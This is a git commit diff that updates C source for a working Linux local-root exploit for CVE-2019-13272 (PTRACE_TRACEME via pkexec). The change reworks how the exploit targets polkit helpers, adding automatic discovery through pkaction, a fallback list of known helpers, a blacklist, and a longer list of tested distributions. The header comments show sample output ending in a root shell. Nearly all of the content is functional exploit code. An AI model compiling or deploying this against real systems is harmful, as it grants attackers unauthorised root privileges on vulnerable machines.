Update CVE-2019-13272 exploit C code to prefer auto targeting
Previously, the exploit would attempt to use a hardcoded list of known useful helpers and fall back to automatic targeting. This logic has been reversed, preferring automatic targeting first.
This commit is contained in:
parent
bc15315bfd
commit
dbc2b8b006
|
@ -1,5 +1,10 @@
|
|||
// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
|
||||
// Uses pkexec technique
|
||||
//
|
||||
// Uses pkexec technique. Requires execution within the context
|
||||
// of a user session with an active PolKit agent.
|
||||
//
|
||||
// Exploitation will fail if kernel.yama.ptrace_scope >= 2;
|
||||
// or SELinux deny_ptrace=on.
|
||||
// ---
|
||||
// Original discovery and exploit author: Jann Horn
|
||||
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
|
||||
|
@ -14,6 +19,7 @@
|
|||
// Tested on:
|
||||
// - Ubuntu 16.04.5 kernel 4.15.0-29-generic
|
||||
// - Ubuntu 18.04.1 kernel 4.15.0-20-generic
|
||||
// - Ubuntu 18.04.3 kernel 5.0.0-23-generic
|
||||
// - Ubuntu 19.04 kernel 5.0.0-15-generic
|
||||
// - Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic
|
||||
// - Linux Mint 17.3 kernel 4.4.0-89-generic
|
||||
|
@ -24,33 +30,37 @@
|
|||
// - Backbox 6 kernel 4.18.0-21-generic
|
||||
// - Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64
|
||||
// - Kali kernel 4.19.0-kali5-amd64
|
||||
// - Redcore 1806 (LXQT) kernel 4.16.16-redcore
|
||||
// - MX 18.3 kernel 4.19.37-2~mx17+1
|
||||
// - RHEL 8.0 kernel 4.18.0-80.el8.x86_64
|
||||
// - CentOS 8 kernel 4.18.0-80.el8.x86_64
|
||||
// - Debian 9.4.0 kernel 4.9.0-6-amd64
|
||||
// - Debian 10.0.0 kernel 4.19.0-5-amd64
|
||||
// - Devuan 2.0.0 kernel 4.9.0-6-amd64
|
||||
// - SparkyLinux 5.8 kernel 4.19.0-5-amd64
|
||||
// - SparkyLinux 5.9 kernel 4.19.0-6-amd64
|
||||
// - Fedora Workstation 30 kernel 5.0.9-301.fc30.x86_64
|
||||
// - Manjaro 18.0.3 kernel 4.19.23-1-MANJARO
|
||||
// - Mageia 6 kernel 4.9.35-desktop-1.mga6
|
||||
// - Antergos 18.7 kernel 4.17.6-1-ARCH
|
||||
// - lubuntu 19.04 kernel 5.0.0-13-generic
|
||||
// - Sabayon 19.03 kernel 4.20.0-sabayon
|
||||
// - Pop! OS 19.04 kernel 5.0.0-21-generic
|
||||
// ---
|
||||
// user@linux-mint-19-2:~$ gcc -Wall --std=gnu99 -s poc.c -o ptrace_traceme_root
|
||||
// user@linux-mint-19-2:~$ ./ptrace_traceme_root
|
||||
// [user@localhost CVE-2019-13272]$ gcc -Wall --std=gnu99 -s poc.c -o ptrace_traceme_root
|
||||
// [user@localhost CVE-2019-13272]$ ./ptrace_traceme_root
|
||||
// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
|
||||
// [.] Checking environment ...
|
||||
// [~] Done, looks good
|
||||
// [.] Searching for known helpers ...
|
||||
// [~] Found known helper: /usr/sbin/mate-power-backlight-helper
|
||||
// [.] Using helper: /usr/sbin/mate-power-backlight-helper
|
||||
// [.] Searching policies for useful helpers ...
|
||||
// [.] Ignoring helper (does not exist): /usr/sbin/pk-device-rebind
|
||||
// [.] Trying helper: /usr/libexec/gsd-backlight-helper
|
||||
// [.] Spawning suid process (/usr/bin/pkexec) ...
|
||||
// [.] Tracing midpid ...
|
||||
// [~] Attached to midpid
|
||||
// To run a command as administrator (user "root"), use "sudo <command>".
|
||||
// See "man sudo_root" for details.
|
||||
//
|
||||
// root@linux-mint-19-2:/home/user#
|
||||
// [root@localhost CVE-2019-13272]# id
|
||||
// uid=0(root) gid=0(root) groups=0(root),1000(user)
|
||||
// [root@localhost CVE-2019-13272]# uname -a
|
||||
// Linux localhost.localdomain 4.18.0-80.el8.x86_64 #1 SMP Tue Jun 4 09:19:46 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
|
||||
// ---
|
||||
|
||||
#define _GNU_SOURCE
|
||||
|
@ -80,6 +90,64 @@
|
|||
# define dprintf
|
||||
#endif
|
||||
|
||||
/*
|
||||
* enabled automatic targeting.
|
||||
* uses pkaction to search PolKit policy actions for viable helper executables.
|
||||
*/
|
||||
#define ENABLE_AUTO_TARGETING 1
|
||||
|
||||
/*
|
||||
* fall back to known helpers if automatic targeting fails.
|
||||
* note: use of these helpers may result in PolKit authentication
|
||||
* prompts on the session associated with the PolKit agent.
|
||||
*/
|
||||
#define ENABLE_FALLBACK_HELPERS 1
|
||||
|
||||
static const char *SHELL = "/bin/bash";
|
||||
|
||||
static int middle_success = 1;
|
||||
static int block_pipe[2];
|
||||
static int self_fd = -1;
|
||||
static int dummy_status;
|
||||
static const char *helper_path;
|
||||
static const char *pkexec_path = "/usr/bin/pkexec";
|
||||
static const char *pkaction_path = "/usr/bin/pkaction";
|
||||
struct stat st;
|
||||
|
||||
const char *helpers[1024];
|
||||
|
||||
/* known helpers to use if automatic targeting fails */
|
||||
#if ENABLE_FALLBACK_HELPERS
|
||||
const char *known_helpers[] = {
|
||||
"/usr/lib/gnome-settings-daemon/gsd-backlight-helper",
|
||||
"/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper",
|
||||
"/usr/lib/unity-settings-daemon/usd-backlight-helper",
|
||||
"/usr/lib/unity-settings-daemon/usd-wacom-led-helper",
|
||||
"/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper",
|
||||
"/usr/lib/x86_64-linux-gnu/cinnamon-settings-daemon/csd-backlight-helper",
|
||||
"/usr/sbin/mate-power-backlight-helper",
|
||||
"/usr/sbin/xfce4-pm-helper",
|
||||
"/usr/bin/xfpm-power-backlight-helper",
|
||||
"/usr/bin/lxqt-backlight_backend",
|
||||
"/usr/libexec/gsd-wacom-led-helper",
|
||||
"/usr/libexec/gsd-wacom-oled-helper",
|
||||
"/usr/libexec/gsd-backlight-helper",
|
||||
"/usr/lib/gsd-backlight-helper",
|
||||
"/usr/lib/gsd-wacom-led-helper",
|
||||
"/usr/lib/gsd-wacom-oled-helper",
|
||||
"/usr/lib64/xfce4/session/xsfm-shutdown-helper",
|
||||
};
|
||||
#endif
|
||||
|
||||
/* helper executables known to cause problems (hang or fail) */
|
||||
const char *blacklisted_helpers[] = {
|
||||
"/xf86-video-intel-backlight-helper",
|
||||
"/cpugovctl",
|
||||
"/resetxpad",
|
||||
"/package-system-locked",
|
||||
"/cddistupgrader",
|
||||
};
|
||||
|
||||
#define SAFE(expr) ({ \
|
||||
typeof(expr) __res = (expr); \
|
||||
if (__res == -1) { \
|
||||
|
@ -98,36 +166,6 @@
|
|||
# define __NR_execveat 322
|
||||
#endif
|
||||
|
||||
static const char *SHELL = "/bin/bash";
|
||||
|
||||
static int middle_success = 1;
|
||||
static int block_pipe[2];
|
||||
static int self_fd = -1;
|
||||
static int dummy_status;
|
||||
static const char *helper_path;
|
||||
static const char *pkexec_path = "/usr/bin/pkexec";
|
||||
static const char *pkaction_path = "/usr/bin/pkaction";
|
||||
struct stat st;
|
||||
|
||||
const char *helpers[1024];
|
||||
|
||||
const char *known_helpers[] = {
|
||||
"/usr/lib/gnome-settings-daemon/gsd-backlight-helper",
|
||||
"/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper",
|
||||
"/usr/lib/unity-settings-daemon/usd-backlight-helper",
|
||||
"/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper",
|
||||
"/usr/lib/x86_64-linux-gnu/cinnamon-settings-daemon/csd-backlight-helper",
|
||||
"/usr/sbin/mate-power-backlight-helper",
|
||||
"/usr/bin/xfpm-power-backlight-helper",
|
||||
"/usr/bin/lxqt-backlight_backend",
|
||||
"/usr/libexec/gsd-wacom-led-helper",
|
||||
"/usr/libexec/gsd-wacom-oled-helper",
|
||||
"/usr/libexec/gsd-backlight-helper",
|
||||
"/usr/lib/gsd-backlight-helper",
|
||||
"/usr/lib/gsd-wacom-led-helper",
|
||||
"/usr/lib/gsd-wacom-oled-helper",
|
||||
};
|
||||
|
||||
/* temporary printf; returned pointer is valid until next tprintf */
|
||||
static char *tprintf(char *fmt, ...) {
|
||||
static char buf[10000];
|
||||
|
@ -272,23 +310,27 @@ static int check_env(void) {
|
|||
dprintf("[-] Could not find pkexec executable at %s\n", pkexec_path);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (stat(pkaction_path, &st) != 0) {
|
||||
dprintf("[-] Could not find pkaction executable at %s\n", pkaction_path);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (stat("/dev/grsec", &st) == 0) {
|
||||
dprintf("[-] Warning: grsec is in use\n");
|
||||
dprintf("[!] Warning: grsec is in use\n");
|
||||
warn++;
|
||||
}
|
||||
|
||||
if (xdg_session == NULL) {
|
||||
dprintf("[!] Warning: $XDG_SESSION_ID is not set\n");
|
||||
warn++;
|
||||
}
|
||||
if (system("/bin/loginctl --no-ask-password show-session $XDG_SESSION_ID | /bin/grep Remote=no >>/dev/null 2>>/dev/null") != 0) {
|
||||
|
||||
if (system("/bin/loginctl --no-ask-password show-session \"$XDG_SESSION_ID\" | /bin/grep Remote=no >>/dev/null 2>>/dev/null") != 0) {
|
||||
dprintf("[!] Warning: Could not find active PolKit agent\n");
|
||||
warn++;
|
||||
}
|
||||
|
||||
if (system("/sbin/sysctl kernel.yama.ptrace_scope 2>&1 | /bin/grep -q [23]") == 0) {
|
||||
dprintf("[!] Warning: kernel.yama.ptrace_scope >= 2\n");
|
||||
warn++;
|
||||
}
|
||||
|
||||
if (stat("/usr/sbin/getsebool", &st) == 0) {
|
||||
if (system("/usr/sbin/getsebool deny_ptrace 2>&1 | /bin/grep -q on") == 0) {
|
||||
dprintf("[!] Warning: SELinux deny_ptrace is enabled\n");
|
||||
|
@ -296,7 +338,11 @@ static int check_env(void) {
|
|||
}
|
||||
}
|
||||
|
||||
dprintf("[~] Done, looks good\n");
|
||||
if (warn > 0) {
|
||||
dprintf("[~] Done, with %d warnings\n", warn);
|
||||
} else {
|
||||
dprintf("[~] Done, looks good\n");
|
||||
}
|
||||
|
||||
return warn;
|
||||
}
|
||||
|
@ -306,25 +352,32 @@ static int check_env(void) {
|
|||
* Check each action for allow_active=yes, extract the associated helper path,
|
||||
* and check the helper path exists.
|
||||
*/
|
||||
#if ENABLE_AUTO_TARGETING
|
||||
int find_helpers() {
|
||||
if (stat(pkaction_path, &st) != 0) {
|
||||
dprintf("[-] No helpers found. Could not find pkaction executable at %s.\n", pkaction_path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
char cmd[1024];
|
||||
snprintf(cmd, sizeof(cmd), "%s --verbose", pkaction_path);
|
||||
FILE *fp;
|
||||
fp = popen(cmd, "r");
|
||||
if (fp == NULL) {
|
||||
dprintf("[-] Failed to run: %s\n", cmd);
|
||||
exit(EXIT_FAILURE);
|
||||
dprintf("[-] Failed to run %s: %m\n", cmd);
|
||||
return 0;
|
||||
}
|
||||
|
||||
char line[1024];
|
||||
char buffer[2048];
|
||||
int helper_index = 0;
|
||||
int useful_action = 0;
|
||||
int blacklisted_helper = 0;
|
||||
static const char *needle = "org.freedesktop.policykit.exec.path -> ";
|
||||
int needle_length = strlen(needle);
|
||||
|
||||
while (fgets(line, sizeof(line)-1, fp) != NULL) {
|
||||
/* check the action uses allow_active=yes*/
|
||||
/* check the action uses allow_active=yes */
|
||||
if (strstr(line, "implicit active:")) {
|
||||
if (strstr(line, "yes")) {
|
||||
useful_action = 1;
|
||||
|
@ -334,6 +387,7 @@ int find_helpers() {
|
|||
|
||||
if (useful_action == 0)
|
||||
continue;
|
||||
|
||||
useful_action = 0;
|
||||
|
||||
/* extract the helper path */
|
||||
|
@ -350,17 +404,23 @@ int find_helpers() {
|
|||
buffer[i] = found[needle_length + i];
|
||||
}
|
||||
|
||||
if (strstr(&buffer[0], "/xf86-video-intel-backlight-helper") != 0 ||
|
||||
strstr(&buffer[0], "/cpugovctl") != 0 ||
|
||||
strstr(&buffer[0], "/package-system-locked") != 0 ||
|
||||
strstr(&buffer[0], "/cddistupgrader") != 0) {
|
||||
dprintf("[.] Ignoring blacklisted helper: %s\n", &buffer[0]);
|
||||
continue;
|
||||
/* check helper path against helpers defined in 'blacklisted_helpers' array */
|
||||
blacklisted_helper = 0;
|
||||
for (i=0; i<sizeof(blacklisted_helpers)/sizeof(blacklisted_helpers[0]); i++) {
|
||||
if (strstr(&buffer[0], blacklisted_helpers[i]) != 0) {
|
||||
dprintf("[.] Ignoring helper (blacklisted): %s\n", &buffer[0]);
|
||||
blacklisted_helper = 1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (blacklisted_helper == 1)
|
||||
continue;
|
||||
|
||||
/* check the path exists */
|
||||
if (stat(&buffer[0], &st) != 0)
|
||||
if (stat(&buffer[0], &st) != 0) {
|
||||
dprintf("[.] Ignoring helper (does not exist): %s\n", &buffer[0]);
|
||||
continue;
|
||||
}
|
||||
|
||||
helpers[helper_index] = strndup(&buffer[0], strlen(buffer));
|
||||
helper_index++;
|
||||
|
@ -372,11 +432,12 @@ int find_helpers() {
|
|||
pclose(fp);
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * *
|
||||
|
||||
int ptrace_traceme_root() {
|
||||
dprintf("[.] Using helper: %s\n", helper_path);
|
||||
dprintf("[.] Trying helper: %s\n", helper_path);
|
||||
|
||||
/*
|
||||
* set up a pipe such that the next write to it will block: packet mode,
|
||||
|
@ -436,29 +497,38 @@ int main(int argc, char **argv) {
|
|||
exit(0);
|
||||
}
|
||||
|
||||
/* Search for known helpers defined in 'known_helpers' array */
|
||||
dprintf("[.] Searching for known helpers ...\n");
|
||||
int i;
|
||||
for (i=0; i<sizeof(known_helpers)/sizeof(known_helpers[0]); i++) {
|
||||
if (stat(known_helpers[i], &st) == 0) {
|
||||
helper_path = known_helpers[i];
|
||||
dprintf("[~] Found known helper: %s\n", helper_path);
|
||||
ptrace_traceme_root();
|
||||
}
|
||||
}
|
||||
|
||||
/* Search polkit policies for helper executables */
|
||||
dprintf("[.] Searching for useful helpers ...\n");
|
||||
#if ENABLE_AUTO_TARGETING
|
||||
/* search polkit policies for helper executables */
|
||||
dprintf("[.] Searching policies for useful helpers ...\n");
|
||||
find_helpers();
|
||||
for (i=0; i<sizeof(helpers)/sizeof(helpers[0]); i++) {
|
||||
if (helpers[i] == NULL)
|
||||
break;
|
||||
|
||||
if (stat(helpers[i], &st) == 0) {
|
||||
helper_path = helpers[i];
|
||||
ptrace_traceme_root();
|
||||
}
|
||||
if (stat(helpers[i], &st) != 0)
|
||||
continue;
|
||||
|
||||
helper_path = helpers[i];
|
||||
ptrace_traceme_root();
|
||||
}
|
||||
#endif
|
||||
|
||||
#if ENABLE_FALLBACK_HELPERS
|
||||
/* search for known helpers defined in 'known_helpers' array */
|
||||
dprintf("[.] Searching for known helpers ...\n");
|
||||
for (i=0; i<sizeof(known_helpers)/sizeof(known_helpers[0]); i++) {
|
||||
if (stat(known_helpers[i], &st) != 0)
|
||||
continue;
|
||||
|
||||
helper_path = known_helpers[i];
|
||||
dprintf("[~] Found known helper: %s\n", helper_path);
|
||||
ptrace_traceme_root();
|
||||
}
|
||||
#endif
|
||||
|
||||
dprintf("[~] Done\n");
|
||||
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
|
Loading…
Reference in New Issue